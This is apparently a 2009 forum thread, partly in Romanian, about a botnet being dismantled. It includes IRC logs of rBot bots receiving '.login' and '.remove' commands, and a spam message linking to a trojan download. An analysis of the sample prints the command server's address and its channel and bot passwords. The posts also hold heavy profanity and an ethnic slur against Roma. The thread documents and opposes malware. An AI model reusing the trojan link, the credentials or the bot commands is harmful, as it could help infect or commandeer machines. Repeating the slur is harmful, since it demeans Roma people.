[2009-06-01 16:44] <[FLT]-842> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-815> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-702> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-049> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-712> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-887> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-564> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-609> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-845> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-508> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-758> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-144> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-409> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-782> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-881> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-016> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-542> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-225> [MAIN]: Password accepted.
[2009-06-01 16:44] *** Parts: [FLT]-934
[2009-06-01 16:44] *** Parts: [FLT]-250
[2009-06-01 16:44] *** Parts: [FLT]-933
[2009-06-01 16:44] *** Parts: [FLT]-561
[2009-06-01 16:44] *** Parts: [FLT]-629
[2009-06-01 16:44] *** Parts: [FLT]-318
[2009-06-01 16:44] *** Parts: [FLT]-968
[2009-06-01 16:44] *** Parts: [FLT]-234
[2009-06-01 16:44] *** Parts: [FLT]-780
[2009-06-01 16:44] *** Parts: [FLT]-744
[2009-06-01 16:44] *** Parts: [FLT]-565
[2009-06-01 16:44] *** Parts: [FLT]-621
[2009-06-01 16:44] *** Parts: [FLT]-535
[2009-06-01 16:44] *** Parts: [FLT]-052
[2009-06-01 16:44] *** Parts: [FLT]-815
[2009-06-01 16:44] *** Parts: [FLT]-842
[2009-06-01 16:44] *** Parts: [FLT]-702
[2009-06-01 16:44] *** Parts: [FLT]-049
[2009-06-01 16:44] *** Parts: [FLT]-712
[2009-06-01 16:44] *** Parts: [FLT]-564
[2009-06-01 16:44] *** Parts: [FLT]-609
[2009-06-01 16:44] *** Parts: [FLT]-845
[2009-06-01 16:44] *** Parts: [FLT]-508
[2009-06-01 16:44] *** Parts: [FLT]-758
[2009-06-01 16:44] *** Parts: [FLT]-144
[2009-06-01 16:44] *** Parts: [FLT]-887
[2009-06-01 16:44] *** Parts: [FLT]-336
[2009-06-01 16:44] *** Parts: [FLT]-827
[2009-06-01 16:44] *** Parts: [FLT]-782
[2009-06-01 16:44] *** Parts: [FLT]-370
[2009-06-01 16:44] *** Parts: [FLT]-409
[2009-06-01 16:44] *** Parts: [FLT]-016
[2009-06-01 16:44] *** Parts: [FLT]-881
[2009-06-01 16:44] *** Parts: [FLT]-542
[2009-06-01 16:44] *** Parts: [FLT]-225
[2009-06-01 16:44] <Destiny> mda
[2009-06-01 16:44] <Destiny> iar
[2009-06-01 16:44] <Destiny> ;)
[2009-06-01 16:44] <[FLT]-341> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-341> [MAIN]: Removing Bot.
[2009-06-01 16:44] *** Parts: [FLT]-341
[2009-06-01 16:44] <Destiny> eu imi bag pulan masa prosti
[2009-06-01 16:44] <Destiny> si muisti
[2009-06-01 16:44] <Destiny> ;)
[2009-06-01 16:44] <Attack> lol ce e aia?
[2009-06-01 16:44] <Destiny> ce e?
[2009-06-01 16:44] *** Joins: [FLT]-255
[2009-06-01 16:44] *** Parts: [FLT]-327
[2009-06-01 16:44] <Destiny> ia ghici
[2009-06-01 16:44] <Destiny> ;)
[2009-06-01 16:44] <Attack> ?
[2009-06-01 16:44] <Destiny> TE ul dumnezeului mamii lor
[2009-06-01 16:44] <Destiny> iar la spart
[2009-06-01 16:44] <Destiny> ;)
[2009-06-01 16:44] *** Joins: [FLT]-703
[2009-06-01 16:45] <[FLT]-255> [MAIN]: Password accepted.
[2009-06-01 16:45] <[FLT]-255> [MAIN]: Removing Bot.
[2009-06-01 16:45] *** Parts: [FLT]-255
[2009-06-01 16:45] <[FLT]-703> [MAIN]: Password accepted.
[2009-06-01 16:45] <[FLT]-703> [MAIN]: Removing Bot.
[2009-06-01 16:45] *** Parts: [FLT]-703
[2009-06-01 16:45] <Snake> dap..
[2009-06-01 16:45] <Snake> doamne :)
[2009-06-01 16:45] <Destiny> <[FLT]-582> .remove
[2009-06-01 16:45] <Destiny> ;)
[2009-06-01 16:45] <Snake> l-a spart
[2009-06-01 16:45] *** Joins: [FLT]-777
[2009-06-01 16:45] <Snake> iarasi..
[2009-06-01 16:45] <Snake> super tare
[2009-06-01 16:45] <Destiny> gata..
[2009-06-01 16:45] *** Joins: [FLT]-343
[2009-06-01 16:45] <Destiny> imi bag pula
[2009-06-01 16:45] <Destiny> ...
[2009-06-01 16:45] <Destiny> nu mai are rost
[2009-06-01 16:45] <Destiny> :)
[2009-06-01 16:45] *** Parts: [FLT]-777
[2009-06-01 16:45] <Destiny> ce kakat !
[2009-06-01 16:45] <Attack> pai si zombi?
[2009-06-01 16:45] <Destiny> zombie?
[2009-06-01 16:45] <Destiny> pierduti
[2009-06-01 16:46] *** Joins: [FLT]-385
[2009-06-01 16:46] <Destiny> hai nu mai vorbiti aici
[2009-06-01 16:46] <Destiny> ;)
[2009-06-01 16:46] <Attack> k
[2009-06-01 16:46] <Snake> ...doamne
[2009-06-01 16:46] *** Parts: [FLT]-385
[2009-06-01 16:46] <Snake> opresc
[2009-06-01 16:46] *** Disconnected

Toxic_Snake

2009-06-01
20:07:44

Quote

bai mancami'ati pula cap si cotor ! de ofticati ce sunteti cine pula mea se ia de voi? cocalari prosti aveti si voi acolo ceva emulatoare..si decryptere si sunteti mari in pula? MUIE ! macar daca v'am face ceva..dar o sugeti pe gratis asa..ca orfani ;) hai jet ! labagii prosti :)

____________________
Muie TE

Toxic_Snake

2009-06-01
20:11:05

Quote

Toxic_Snake wrote:

____________________
Muie TE

Vektor

2009-06-01
21:17:39

Quote

Don't take it personal, our problems are with all lowlife gypsy spammers, not just with you. Do you think you "lost" all bots? You didn't own them in the first place. Don't speak about a botnet as if it is something perfectly OK to make. You are infecting other people's computers. You are spamming with links to trojans. This is not our problem, it's everyone's problem.

You can consider yourself lucky for not infecting a computer of some company / organization that would contact the legal authorities. Botnets are illegal in all countries (Romania too). Phishing is illegal. Making / spreading trojans is illegal. You're hosting the trojan, you're hosting the botnet server, and you and your gypsy friends are not even using a proxy when spamming. This is the stupidest thing you can do.

[-TE-]-Methodman

2009-06-02
17:03:29

Quote

cretinu dracu ,you don't know anything about botnet

Vektor

2009-06-03
19:18:43

Quote

[€-W]-羻哸ck wrote:

[14:31] <[€-W]-羻哸ck> mersi ;)
[14:31] <[€-W]-羻哸ck> pt ban si botnet
[14:31] <[€-W]-羻哸ck> in maxim 4 zile ne vedem :>
[14:36] <[€-W]-羻哸ck> vipule
[14:36] <[€-W]-羻哸ck> raspunde ba in pm de mupets
[20:30] <[€-W]-羻哸ck> Salut ! te-ai gandit vreodata ca poti downloada de 3x ca viteza dupa ODc? sau oricare alt DC++? daca vrei sa incerci downloadeaza programul special proiectat de aici http://speed.xtremep.ro:622/SpeeD.rar sper sa-ti placa
[20:30] <[€-W]-羻哸ck> ia si sparge

SpeeD.rar:

Readme.txt
Quote:
Apesi pe el si se instaleaza automat
Speed-Xtream.exe, "protected" with Armadillo v1.71

Local path to rBot.pdb: C:\Program Files\Botnet AIO\Sources\RxboT modded by TS\Rxbot 7.6\Debug\rBot.pdb

RxBot settings:

Server address: xzone.unlimited-network.ro (81.196.95.22)
Server password: ergfgfdgdf
Channel: #private
Channel password: fdsfsfdsfdrwBots have this prefix: [NA]*
Login password for bots: fdsoifsfsd

xzone.unlimited-network.ro/#private wrote:

[2009-06-03 12:34] *** Connected
[2009-06-03 12:34] *** Looking up your hostname
[2009-06-03 12:34] *** Checking Ident
[2009-06-03 12:34] *** Found your hostname
[2009-06-03 12:34] *** Join/part showing on
[2009-06-03 12:34] *** No ident response
[2009-06-03 12:34] <XzonE.Area.X> MODE :Register first.
[2009-06-03 12:34] <XzonE.Area.X> Welcome to the Internet Relay Network [NA]47651
Your host is XzonE.Area.X, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
XzonE.Area.X beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server
[2009-06-03 12:34] <XzonE.Area.X> NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 34 users and 0 invisible on 1 servers
3 :channels formed
I have 34 clients and 0 servers
[2009-06-03 12:34] *** [NA]47651 Highest connection count: 35 (35 clients)
[2009-06-03 12:34] <XzonE.Area.X> MOTD File is missing
[2009-06-03 12:34] *** [NA]47651 on 1 ca 1(4) ft 10(10)
[2009-06-03 12:34] *** Joins: [NA]47651
[2009-06-03 12:34] *** Joins: [NA]24699
[2009-06-03 12:34] *** Joins: [NA]40263
[2009-06-03 12:34] *** Joins: [NA]68019
[2009-06-03 12:34] *** Joins: [NA]88538
[2009-06-03 12:34] *** Joins: [NA]91407
[2009-06-03 12:34] *** Joins: [NA]17312
[2009-06-03 12:34] *** Joins: [NA]21750
[2009-06-03 12:34] *** Joins: [NA]05869
[2009-06-03 12:34] *** Joins: [NA]57354
[2009-06-03 12:34] *** Joins: [NA]31071
[2009-06-03 12:34] *** Joins: [NA]34541
[2009-06-03 12:34] *** Joins: [NA]75667
[2009-06-03 12:34] <[NA]34541> [MAIN]: Password accepted.
[2009-06-03 12:35] <[NA]34541> [MAIN]: Removing Bot.
[2009-06-03 12:35] *** Parts: [NA]34541
[2009-06-03 12:35] <[NA]21750> [MAIN]: Password accepted.
[2009-06-03 12:35] <[NA]21750> [MAIN]: Removing Bot.
[2009-06-03 12:35] *** Parts: [NA]21750
[2009-06-03 12:36] <[NA]24699> [MAIN]: Password accepted.
[2009-06-03 12:36] <[NA]31071> [MAIN]: Password accepted.
[2009-06-03 12:36] <[NA]05869> [MAIN]: Password accepted.
[2009-06-03 12:36] <[NA]17312> [MAIN]: Password accepted.
[2009-06-03 12:36] <[NA]24699> [MAIN]: Removing Bot.
[2009-06-03 12:36] <[NA]05869> [MAIN]: Removing Bot.
[2009-06-03 12:36] <[NA]17312> [MAIN]: Removing Bot.
[2009-06-03 12:36] *** Parts: [NA]24699
[2009-06-03 12:36] *** Parts: [NA]05869
[2009-06-03 12:36] *** Parts: [NA]17312
[2009-06-03 12:36] <[NA]31071> [MAIN]: Removing Bot.
[2009-06-03 12:36] *** Parts: [NA]31071
[2009-06-03 12:36] <[NA]47651> .login fdsoifsfsd
[2009-06-03 12:36] <XzonE.Area.X> [NA]476511 :No such nick
[2009-06-03 12:36] <[NA]57354> [MAIN]: Password accepted.
[2009-06-03 12:36] <[NA]40263> [MAIN]: Password accepted.
[2009-06-03 12:36] <[NA]68019> [MAIN]: Password accepted.
[2009-06-03 12:36] <XzonE.Area.X> [NA]75667 :Target change too fast. Please wait 104 seconds.
[2009-06-03 12:36] <XzonE.Area.X> [NA]88538 :Target change too fast. Please wait 104 seconds.
[2009-06-03 12:36] <[NA]91407> [MAIN]: Password accepted.
[2009-06-03 12:36] <[NA]40263> [MAIN]: Removing Bot.
[2009-06-03 12:37] *** Parts: [NA]40263
[2009-06-03 12:37] <[NA]47651> .remove
[2009-06-03 12:37] <XzonE.Area.X> [NA]476511 :No such nick
[2009-06-03 12:37] <[NA]57354> [MAIN]: Removing Bot.
[2009-06-03 12:37] *** Parts: [NA]57354
[2009-06-03 12:37] <[NA]68019> [MAIN]: Removing Bot.
[2009-06-03 12:37] *** Parts: [NA]68019
[2009-06-03 12:37] <XzonE.Area.X> [NA]75667 :Target change too fast. Please wait 92 seconds.
[2009-06-03 12:37] <XzonE.Area.X> [NA]88538 :Target change too fast. Please wait 92 seconds.
[2009-06-03 12:37] <[NA]91407> [MAIN]: Removing Bot.
[2009-06-03 12:37] *** Parts: [NA]91407
[2009-06-03 12:37] <[NA]47651> .login fdsoifsfsd
[2009-06-03 12:37] <XzonE.Area.X> [NA]75667 :Target change too fast. Please wait 54 seconds.
- [NA]88538 :Target change too fast. Please wait 56 seconds.
[2009-06-03 12:38] *** Parts: [NA]75667
[2009-06-03 12:38] <[NA]47651> .login fdsoifsfsd
[2009-06-03 12:38] <XzonE.Area.X> [NA]88538 :Target change too fast. Please wait 15 seconds.
[2009-06-03 12:38] *** Joins: [NA]21960
[2009-06-03 12:38] *** Parts: [NA]21960
[2009-06-03 12:39] <[NA]88538> [MAIN]: Password accepted.
[2009-06-03 12:39] <[NA]88538> [MAIN]: Removing Bot.
[2009-06-03 12:39] *** Parts: [NA]88538
[2009-06-03 12:39] <XzonE.Area.X>
Snake 81.196.95.22 * :Snake
@#xzone-x @#private
XzonE.Area.X :I'm too lazy to edit ircd.conf
14896 1244006608 :seconds idle, signon time
End of /WHOIS list.
[2009-06-03 12:45] *** Joins: [NA]65055
[2009-06-03 12:45] <[NA]65055> [MAIN]: Password accepted.
[2009-06-03 12:45] *** Parts: [NA]65055
[2009-06-03 12:55] *** Joins: [NA]48159
[2009-06-03 13:00] <[NA]48159> [MAIN]: Password accepted.
[2009-06-03 13:00] <[NA]48159> [MAIN]: Removing Bot.
[2009-06-03 13:00] *** Parts: [NA]48159
[2009-06-03 13:12] *** Joins: [NA]03069
[2009-06-03 13:13] <[NA]03069> [MAIN]: Password accepted.
[2009-06-03 13:19] <[NA]03069> [MAIN]: Removing Bot.
[2009-06-03 13:19] *** Parts: [NA]03069
[2009-06-03 13:35] <[NA]95768> [MAIN]: Password accepted.
[2009-06-03 13:35] <[NA]35895> [MAIN]: Password accepted.
[2009-06-03 13:35] <[NA]55857> .remove
[2009-06-03 13:35] <XzonE.Area.X> [NA]558577 :No such nick
[2009-06-03 13:35] <[NA]95768> [MAIN]: Removing Bot.
[2009-06-03 13:35] <[NA]35895> [MAIN]: Removing Bot.
[2009-06-03 13:35] *** Parts: [NA]95768
[2009-06-03 13:35] *** Parts: [NA]35895
[2009-06-03 13:39] *** Disconnected

xzone.unlimited-network.ro/#xzone-x wrote:

[2009-06-03 12:47] *** Connected
[2009-06-03 12:47] *** Looking up your hostname
[2009-06-03 12:47] *** Checking Ident
[2009-06-03 12:47] *** Join/part showing on
[2009-06-03 12:47] *** No ident response
[2009-06-03 12:48] *** Couldn't look up your hostname
[2009-06-03 12:48] <XzonE.Area.X> MODE :Register first.
[2009-06-03 12:48] <XzonE.Area.X> Welcome to the Internet Relay Network [FLT]-203
Your host is XzonE.Area.X, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
XzonE.Area.X beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server
[2009-06-03 12:48] <XzonE.Area.X> NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 21 users and 1 invisible on 1 servers
3 :channels formed
I have 22 clients and 0 servers
[2009-06-03 12:48] *** [FLT]-203 Highest connection count: 35 (35 clients)
[2009-06-03 12:48] <XzonE.Area.X> MOTD File is missing
[2009-06-03 12:48] *** [FLT]-203 on 2 ca 1(4) ft 10(10) tr
[2009-06-03 12:48] *** Joins: [FLT]-203
[2009-06-03 12:48] *** Joins: [FLT]-850
[2009-06-03 12:48] *** Joins: [FLT]-348
[2009-06-03 12:48] *** Joins: [FLT]-366
[2009-06-03 12:48] *** Joins: [FLT]-685
[2009-06-03 12:48] *** Joins: [FLT]-840
[2009-06-03 12:48] *** Joins: [FLT]-328
[2009-06-03 12:48] *** Joins: [FLT]-558
[2009-06-03 12:48] *** Joins: [FLT]-792
[2009-06-03 12:48] *** Joins: [FLT]-626
[2009-06-03 12:48] *** Joins: [FLT]-608
[2009-06-03 12:48] *** Joins: [FLT]-828
[2009-06-03 12:48] *** Joins: [FLT]-736
[2009-06-03 12:48] *** Joins: [FLT]-984
[2009-06-03 12:48] *** Joins: [FLT]-021
[2009-06-03 12:48] *** Joins: [FLT]-672
[2009-06-03 12:48] *** Joins: [FLT]-383
[2009-06-03 12:48] *** Joins: [FLT]-241
[2009-06-03 12:49] <Lithium> .login ttgodskfsgfdg
[2009-06-03 12:49] <Lithium> .remove
[2009-06-03 12:49] <[FLT]-672> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-241> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-984> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-383> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-850> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-840> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-328> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-348> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-021> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-736> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-685> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-366> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-792> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-626> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-558> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-828> [MAIN]: Password accepted.
[2009-06-03 12:49] <[FLT]-672> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-241> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-984> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-383> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-850> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-840> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-348> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-328> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-021> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-736> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-685> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-366> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-792> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-626> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-558> [MAIN]: Removing Bot.
[2009-06-03 12:49] <[FLT]-828> [MAIN]: Removing Bot.
[2009-06-03 12:49] *** Parts: [FLT]-672
[2009-06-03 12:49] *** Parts: [FLT]-241
[2009-06-03 12:49] *** Parts: [FLT]-984
[2009-06-03 12:49] *** Parts: [FLT]-383
[2009-06-03 12:49] *** Parts: [FLT]-850
[2009-06-03 12:49] *** Parts: [FLT]-840
[2009-06-03 12:49] *** Parts: [FLT]-348
[2009-06-03 12:49] *** Parts: [FLT]-328
[2009-06-03 12:49] *** Parts: [FLT]-021
[2009-06-03 12:49] *** Parts: [FLT]-736
[2009-06-03 12:49] *** Parts: [FLT]-685
[2009-06-03 12:49] *** Parts: [FLT]-366
[2009-06-03 12:49] *** Parts: [FLT]-792
[2009-06-03 12:49] *** Parts: [FLT]-626
[2009-06-03 12:49] *** Parts: [FLT]-558
[2009-06-03 12:49] *** Parts: [FLT]-828
[2009-06-03 12:49] *** Joins: [FLT]-952
[2009-06-03 12:50] <[FLT]-952> [MAIN]: Password accepted.
[2009-06-03 12:50] <[FLT]-952> [MAIN]: Removing Bot.
[2009-06-03 12:50] *** Parts: [FLT]-952
[2009-06-03 12:50] *** Joins: [FLT]-927
[2009-06-03 12:50] <[FLT]-927> [MAIN]: Password accepted.
[2009-06-03 12:50] <[FLT]-927> [MAIN]: Removing Bot.
[2009-06-03 12:50] *** Parts: [FLT]-927
[2009-06-03 12:51] <[FLT]-203> .login ttgodskfsgfdg
[2009-06-03 12:51] *** Joins: [FLT]-434
[2009-06-03 12:52] <[FLT]-434> [MAIN]: Password accepted.
[2009-06-03 12:52] <[FLT]-434> [MAIN]: Removing Bot.
[2009-06-03 12:52] *** Parts: [FLT]-434
[2009-06-03 12:58] *** Joins: [FLT]-918
[2009-06-03 13:00] <[FLT]-918> [MAIN]: Password accepted.
[2009-06-03 13:00] <[FLT]-918> [MAIN]: Removing Bot.
[2009-06-03 13:00] *** Parts: [FLT]-918
[2009-06-03 13:07] *** Joins: [FLT]-272
[2009-06-03 13:07] <[FLT]-272> [MAIN]: Password accepted.
[2009-06-03 13:09] *** Joins: [FLT]-990
[2009-06-03 13:10] <[FLT]-990> [MAIN]: Password accepted.
[2009-06-03 13:17] *** Joins: [FLT]-972
[2009-06-03 13:18] <[FLT]-972> [MAIN]: Password accepted.
[2009-06-03 13:19] <[FLT]-972> [MAIN]: Removing Bot.
[2009-06-03 13:19] *** Parts: [FLT]-972
[2009-06-03 13:19] <[FLT]-990> [MAIN]: Removing Bot.
[2009-06-03 13:19] <[FLT]-272> [MAIN]: Removing Bot.
[2009-06-03 13:19] *** Parts: [FLT]-990
[2009-06-03 13:19] *** Parts: [FLT]-272
[2009-06-03 13:39] *** Disconnected